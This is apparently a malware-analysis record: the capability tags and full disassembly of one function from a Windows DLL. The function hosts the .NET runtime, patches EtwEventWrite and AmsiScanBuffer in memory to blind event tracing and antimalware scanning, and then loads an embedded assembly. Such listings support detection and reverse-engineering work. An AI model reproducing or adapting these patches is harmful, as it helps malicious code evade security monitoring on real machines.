Function at 0x18000107c
Capabilities:
Load windows common language runtime
Patch antimalware scan interface function
Patch event tracing for windows function

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0x98
xor r15d, r15d
mov qword [rbp - 0x39], r15
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x31], r15
lea r13d, [r15 + 0x18]
mov ecx, r13d
call fcn.180001b30
lea r12d, [r15 + 1]
mov rdi, rax
test rax, rax
je 0x1800010d5
lea rcx, [0x180015380]
mov qword [rax + 8], r15
mov dword [rax + 0x10], r12d
call fcn.1800017f0
mov qword [rdi], rax
jmp 0x1800010d8
mov rdi, r15
test rdi, rdi
je 0x1800015f1
mov rcx, r13
mov qword [rbp - 0x11], r15
call fcn.180001b30
mov rbx, rax
test rax, rax
je 0x18000110e
lea rcx, [0x180015380]
mov qword [rax + 8], r15
mov dword [rax + 0x10], r12d
call fcn.1800017f0
mov qword [rbx], rax
jmp 0x180001111
mov rbx, r15
test rbx, rbx
je 0x1800015f1
lea rcx, [0x180015388]
mov qword [rbp - 0x19], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.CLRCreateInstance
mov qword [rbp - 0x29], r15
mov rcx, rax
mov qword [rbp - 0x21], r15
mov rsi, rax
mov r14b, r15b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800011c4
lea r8, [rbp - 0x29]
lea rdx, [0x1800153e0]
lea rcx, [0x180015420]
call rax
test eax, eax
js 0x1800011c4
mov rcx, qword [rbp - 0x29]
lea r9, [rbp - 0x21]
lea r8, [0x180015430]
lea rdx, [0x1800153a0]
mov rax, qword [rcx]
call qword [rax + SafeArrayCopy]
test eax, eax
js 0x1800011c4
mov rcx, qword [rbp - 0x21]
lea rdx, [rbp + 0x67]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x1800011c4
cmp dword [rbp + 0x67], r15d
je 0x1800011c4
mov rcx, qword [rbp - 0x21]
lea r9, [rbp - 0x39]
lea r8, [0x1800153f0]
lea rdx, [0x180015410]
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
movzx r14d, r15b
cmovns r14d, r12d
mov rcx, qword [rbp - 0x29]
test rcx, rcx
je 0x1800011d7
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x29], r15
mov rcx, qword [rbp - 0x21]
test rcx, rcx
je 0x1800011e6
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
test r14b, r14b
jne 0x180001227
lea rdx, str.CorBindToRuntime
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001227
lea rcx, [rbp - 0x39]
mov qword [rsp + 0x20], rcx
lea r9, [0x1800153f0]
lea rcx, str.v2.0.50727
lea r8, [0x180015410]
lea rdx, [0x180015340]
call rax
test rsi, rsi
je 0x1800014d5
mov rcx, qword [rbp - 0x39]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
js 0x1800014d5
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x180001251
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x39]
lea rdx, [rbp - 0x49]
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x1800014d5
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call fcn.180003fe4
mov rsi, r15
lea r14, [0x180029f18]
call fcn.180003fb8
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x19
sub r8d, ecx
add r8w, 0x41
mov word [rsi + r14], r8w
add rsi, 2
cmp rsi, 0x1e
jb 0x18000127e
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x1800012c1
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x39]
lea r9, [rbp - 0x49]
mov qword [rbp - 0x49], r15
xor r8d, r8d
mov rdx, r14
mov rax, qword [rcx]
call qword [rax + 0x60]
test eax, eax
jns 0x180001306
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x1800012ec
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x39]
lea rdx, [rbp - 0x49]
mov qword [rbp - 0x49], r15
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x1800014d5
mov rsi, qword [rbp - 0x49]
test rsi, rsi
je 0x1800015e6
mov rcx, qword [rbp - 0x31]
test rcx, rcx
je 0x180001322
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x31]
lea rdx, [0x180015400]
mov rcx, rsi
call qword [rax]
test eax, eax
js 0x1800014d5
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14d, 0x40
test rax, rax
je 0x18000139b
lea rdx, str.EtwEventWrite
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x18000139b
lea r9, [rbp + 0x6f]
mov r8d, r14d
mov rdx, r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18000139b
mov byte [rsi], 0xc3
lea r9, [rbp + 0x7f]
mov r8d, dword [rbp + 0x6f]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str.amsi
mov dword [rbp - 0x41], 0x70057b8
mov word [rbp - 0x3d], 0xc380
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x180001410
lea rdx, str.AmsiScanBuffer
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x180001410
mov r8d, r14d
lea r9, [rbp + 0x77]
mov r14d, 6
mov rcx, rax
mov edx, r14d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x180001410
mov eax, dword [rbp - 0x41]
lea r9, [rbp - 1]
mov dword [rsi], eax
mov edx, r14d
movzx eax, word [rbp - 0x3d]
mov rcx, rsi
mov word [rsi + 4], ax
mov r8d, dword [rbp + 0x77]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x1800
lea r8, [rbp - 9]
mov ecx, SafeArrayUnlock
mov qword [rbp - 9], rsi
mov edx, r12d
call qword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov rcx, rax
mov r14, rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnlock]
mov rcx, qword [r14 + 0x10]
lea rdx, [0x180027480]
mov r8d, esi
call fcn.180003b80
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SafeArrayAccessData]
mov rsi, qword [rbp - 0x31]
test rsi, rsi
je 0x1800015e6
mov rcx, qword [rbp - 0x11]
test rcx, rcx
je 0x18000146f
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x11]
mov rdx, r14
mov rcx, rsi
call qword [rax + 0x168]
test eax, eax
js 0x1800014d5
mov rsi, qword [rbp - 0x11]
test rsi, rsi
je 0x1800015e6
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x1800014a2
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rax, qword [rsi]
lea r8, [rbp - 0x19]
mov rdx, qword [rbx]
mov rcx, rsi
call qword [rax + 0x88]
test eax, eax
js 0x1800014d5
mov rcx, qword [rbp - 0x19]
mov qword [rbp + 7], rcx
test rcx, rcx
je 0x1800014cc
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rcx, [rbp + 7]
call fcn.180001608
mov rcx, qword [rbp - 0x31]
test rcx, rcx
je 0x1800014e8
mov qword [rbp - 0x31], r15
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x1800015fc
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x18000150e
mov qword [rbp - 0x49], r15
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x39]
test rcx, rcx
je 0x180001521
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rbp - 0x39], r15
mov rcx, qword [rbp - 0x19]
test rcx, rcx
je 0x180001530
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [rbx + 0x10], eax
add eax, esi
jne 0x18000156c
mov rcx, qword [rbx]
test rcx, rcx
je 0x18000154f
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r15
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x180001561
call fcn.180001b28
mov qword [rbx + 8], r15
mov rdx, r13
mov rcx, rbx
call fcn.180001b28
mov rcx, qword [rbp - 0x11]
test rcx, rcx
je 0x18000157b
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov eax, esi
lock xadd dword [rdi + 0x10], eax
add eax, esi
jne 0x1800015b4
mov rcx, qword [rdi]
test rcx, rcx
je 0x180001597
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rdi], r15
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x1800015a9
call fcn.180001b28
mov qword [rdi + 8], r15
mov rdx, r13
mov rcx, rdi
call fcn.180001b28
mov rcx, qword [rbp - 0x31]
test rcx, rcx
je 0x1800015c3
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x1800015d2
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
add rsp, 0x98
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 0x80004003
call fcn.1800017e0
int3
mov ecx, 0x8007000e
call fcn.1800017e0
int3
mov ecx, 0x80004003
call fcn.1800017e0
int3